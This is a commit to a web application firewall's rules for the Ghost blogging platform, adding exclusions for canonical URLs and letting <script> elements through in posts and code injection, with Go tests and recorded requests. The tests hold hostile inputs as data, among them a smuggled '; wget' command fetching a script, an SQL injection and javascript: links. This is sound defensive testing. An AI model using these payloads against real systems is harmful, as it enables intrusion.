Core Rule Set: a Ghost post's or page's canonical URL passes with a command or a file in it (closes #374)

While bodies are read, 932120 refused the canonical URL
`https://example.com/blog/powershell/` and 930120 refused
`https://example.com/blog/.htaccess/`. The new exclusions 900383 and 900384
switch both rules off for `posts.N.canonical_url` under
`/ghost/api/admin/posts/` and `pages.N.canonical_url` under
`/ghost/api/admin/pages/`, as `url` does, and only when the query has no field
of that name. Two saves recorded from Ghost 6.76.0 are added to the recorded
requests.

Model: opus-5-5

SPEC.md

@@ -1773,6 +1773,10 @@ member. A staff user's address skips them too: `username` when signing in, and
 `email` when creating the first staff user, asking for a password reset or
 saving a profile.
 
+The `canonical_url` of a post or a page skips 930120 and 932120, as `url` does.
+A post's skips them under `/ghost/api/admin/posts/`, and a page's under
+`/ghost/api/admin/pages/`.
+
 The articles carry HTML on purpose. These fields on the Admin API hold them:
 
 - `lexical`, which the editor saves, and `mobiledoc` and `html`, which
@@ -1800,11 +1804,20 @@ Code injection skips these rules:
 - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
   elements.
 
-`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
-articles and code injection (941110, 941170 and 941210). Path traversal and SQL
-injection are still refused in every field above. Script injection is too,
-outside the articles. `; wget http://example.com/x.sh` is still refused in the
-query fields, the plain text and the addresses.
+A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
+card can embed a widget and code injection can load analytics. These are the
+fields, on the Admin API:
+
+- `lexical`, `mobiledoc` and `html` of posts and pages;
+- `codeinjection_head` and `codeinjection_foot` of posts and pages;
+- `value` of settings.
+
+`<script>alert(1)</script>` is still refused in snippets and newsletters.
+`javascript:alert(1)` is still refused in the articles and code injection
+(941170 and 941210). Path traversal and SQL injection are still refused in every
+field above. Script injection is too, outside the articles and code injection.
+`; wget http://example.com/x.sh` is still refused in the query fields, the plain
+text, the addresses and the canonical URLs.
 
 Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
 That name holds `.profile`, a file on the list of system files, so the name

internal/coreruleset/ghost.conf

@@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
 #   snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
 #   reuse
 #   newsletters.<n>.footer_content, the footer of a newsletter
-# A <script> element (941110) and a javascript: link (941170, 941210) are still
-# refused in them.
+# A javascript: link (941170, 941210) is still refused in them. A <script>
+# element (941110) passes only in posts and pages, by 900366.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     "id:900355,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -184,7 +184,8 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
 # These fields hold it, and skip the rules anywhere on the Admin API:
 #   posts.<n>.codeinjection_head and _foot, and the same fields of pages
 #   settings.<n>.value, the value of a setting
-# A <script> element and a javascript: link are still refused in them.
+# A javascript: link is still refused in them, and a <script> element passes
+# by 900366.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     "id:900356,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -200,6 +201,38 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
         ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
 
+# A <script> element skips 941110 in posts, pages and code injection, on the
+# Admin API, which refused:
+#   an HTML card that embeds a widget with its script
+#   code injection that loads analytics,
+#   <script defer src="https://analytics.example.com/script.js"></script>
+# These fields take a <script> element on purpose:
+#   posts.<n>.lexical, mobiledoc and html, and the same fields of pages
+#   posts.<n>.codeinjection_head and _foot, and the same fields of pages
+#   settings.<n>.value, the value of a setting
+# Snippets and a newsletter's footer still refuse it.
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
+    "id:900366,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
+
+# The canonical URL of a post or a page skips the two rules that url skips:
+#   930120: https://example.com/blog/.htaccess/
+#   932120: https://example.com/blog/powershell/
+# Each of these fields skips them only on its own path:
+#   posts.<n>.canonical_url, under /ghost/api/admin/posts/
+#   pages.<n>.canonical_url, under /ghost/api/admin/pages/
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
+    "id:900383,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
+    "id:900384,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
+
 # Saving a staff user's profile sends the field profile_image, whose name holds
 # .profile, a file the list of system files names (930120).
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \

internal/coreruleset/ghost_test.go

@@ -143,10 +143,21 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
 }
 
-// ghostArticleFields hold an article and skip the rules of 900355.
+// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
+// 930120 and 932120, as url does.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostArticleFields = []ghostField{
+var ghostCanonicalURLFields = []ghostField{
+	{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
+	{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
+	{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
+}
+
+// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
+// <script> element by 900366.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostPostFields = []ghostField{
 	{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
 	{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
 	{
@@ -155,6 +166,13 @@ var ghostArticleFields = []ghostField{
 		`{"posts":[{"html":"VALUE"}]}`,
 	},
 	{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
+}
+
+// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
+// footer, skip the rules of 900355, and still refuse a <script> element.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostSnippetAndNewsletterFooterFields = []ghostField{
 	{
 		http.MethodPost,
 		"/ghost/api/admin/snippets/",
@@ -167,8 +185,16 @@ var ghostArticleFields = []ghostField{
 	},
 }
 
-// ghostCodeFields hold code injection or a setting and skip the rules of
-// 900356.
+// ghostArticleFields hold an article and skip the rules of 900355.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostArticleFields = slices.Concat(
+	ghostPostFields,
+	ghostSnippetAndNewsletterFooterFields,
+)
+
+// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
+// and take a <script> element by 900366.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostCodeFields = []ghostField{
@@ -204,13 +230,16 @@ var ghostQueryFields = []string{
 	ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
 }
 
-// ghostURLs are addresses 930120 and 932120 refused in url.
+// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
+// URL.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostURLs = []string{
 	"https://github.com/example/site/blob/main/.htaccess",
 	"https://example.com/blog/powershell-tips?ref=ghost",
 	"https://example.com/docs/python3/",
+	"https://example.com/blog/powershell/",
+	"https://example.com/blog/.htaccess/",
 }
 
 // ghostAddresses are addresses 930120, 932120 and 932260 refused.
@@ -311,6 +340,10 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 
 	for _, address := range ghostURLs {
 		wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
+
+		for _, f := range ghostCanonicalURLFields {
+			wantGhostField(t, f, address, false)
+		}
 	}
 
 	for _, address := range ghostAddresses {
@@ -335,11 +368,41 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 		url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
 }
 
-// ghostAttacks are an SQL injection, a path traversal and a script
-// injection, not escaped.
+// ghostWidget is an HTML card that embeds a widget with its script.
+const ghostWidget = `<div id="signup"></div>` +
+	`<script src="https://widgets.example.com/form.js" async></script>`
+
+// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
+const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
+	`"html":"<div id=\"signup\"></div><script ` +
+	`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
+	`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
+
+// ghostAnalytics is code injection that loads analytics.
+const ghostAnalytics = `<script defer ` +
+	`src="https://analytics.example.com/script.js"></script>`
+
+func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
+	t.Parallel()
+
+	// An HTML card in a post, as the editor saves it, and as integrations
+	// send it.
+	wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
+
+	for _, f := range ghostPostFields {
+		wantGhostField(t, f, ghostWidget, false)
+	}
+
+	// Site code injection, saved in settings, and a post's or a page's own.
+	for _, f := range ghostCodeFields {
+		wantGhostField(t, f, ghostAnalytics, false)
+	}
+}
+
+// ghostAttacks are an SQL injection and a path traversal, not escaped.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostAttacks = []string{injection, pathTraversal, scriptTag}
+var ghostAttacks = []string{injection, pathTraversal}
 
 // commandAfterASeparator is a shell command after a ";", not escaped.
 const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -349,7 +412,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 
 	for _, attack := range ghostAttacks {
 		for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
-			ghostArticleFields, ghostCodeFields) {
+			ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
 			wantGhostField(t, f, attack, true)
 		}
 
@@ -358,9 +421,22 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		}
 	}
 
+	// A script injection stays refused in every field that does not take a
+	// <script> element.
+	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
+		ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
+		wantGhostField(t, f, scriptTag, true)
+	}
+
+	for _, target := range ghostQueryFields {
+		wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
+	}
+
 	// A command after a separator stays refused wherever its rules do not
-	// misfire: in the query fields, the plain text and the addresses.
-	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
+	// misfire: in the query fields, the plain text, the addresses and the
+	// canonical URLs.
+	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
+		ghostCanonicalURLFields) {
 		wantGhostField(t, f, commandAfterASeparator, true)
 	}
 
@@ -372,13 +448,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		)
 	}
 
-	// The articles and code injection carry HTML on purpose, but a script
-	// element and a javascript: link are still refused there.
+	// The articles and code injection carry HTML on purpose, but a
+	// javascript: link is still refused there, and a script element in
+	// snippets and a newsletter's footer.
 	for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
-		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
 		wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
 	}
 
+	for _, f := range ghostSnippetAndNewsletterFooterFields {
+		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
+	}
+
 	// An address keeps 932250, which refuses a listing of files.
 	for _, f := range ghostAddressFields {
 		wantGhostField(t, f, "ls -la /root", true)
@@ -401,6 +481,8 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		setupEmail         = `{"setup":[{"email":"python3.dev@example.com"}]}`
 		passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
 		userEmail          = `{"users":[{"email":"python3.dev@example.com"}]}`
+		postURL            = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
+		pageURL            = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
 	)
 
 	for _, refused := range []struct{ target, body string }{
@@ -437,6 +519,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
 		{ghostPosts, userEmail},
 		{ghostUser + "?json.users.0.email=x", userEmail},
+		{"/api/posts/1/", postURL},
+		{ghostMembers, postURL},
+		{ghostPage, postURL},
+		{ghostPost + "?json.posts.0.canonical_url=x", postURL},
+		{ghostPost, pageURL},
+		{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
 		{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
 		{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
 		{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
@@ -459,6 +547,44 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 	}
 }
 
+func TestGhostScriptExclusionIsNarrow(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	// A <script> element keeps 941110 off the Admin API, in fields that do
+	// not take one, and when the query has a field of the same name. 941100
+	// and 941160 refuse each request too, so the test looks for 941110
+	// itself.
+	const (
+		script           = `<script defer src=\"/script.js\"></script>`
+		scriptInPost     = `{"posts":[{"lexical":"` + script + `"}]}`
+		scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
+	)
+
+	for _, refused := range []struct{ target, body string }{
+		{"/ghost/api/content/posts/", scriptInPost},
+		{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
+		{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
+		{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
+		{"/api/settings/", scriptInSettings},
+		{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
+	} {
+		r := request{http.MethodPut, refused.target, []string{jsonBody}}
+
+		got, _ := inspectBody(t, crs, r, refused.body)
+		if got.Score < ghostThreshold ||
+			!slices.Contains(got.RuleIDs, 941110) {
+			t.Errorf(
+				"PUT %s %s: %+v, want 941110 among them",
+				refused.target,
+				refused.body,
+				got,
+			)
+		}
+	}
+}
+
 func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/testdata/ghost-requests.txt

@@ -533,6 +533,8 @@
 {"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
 {"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
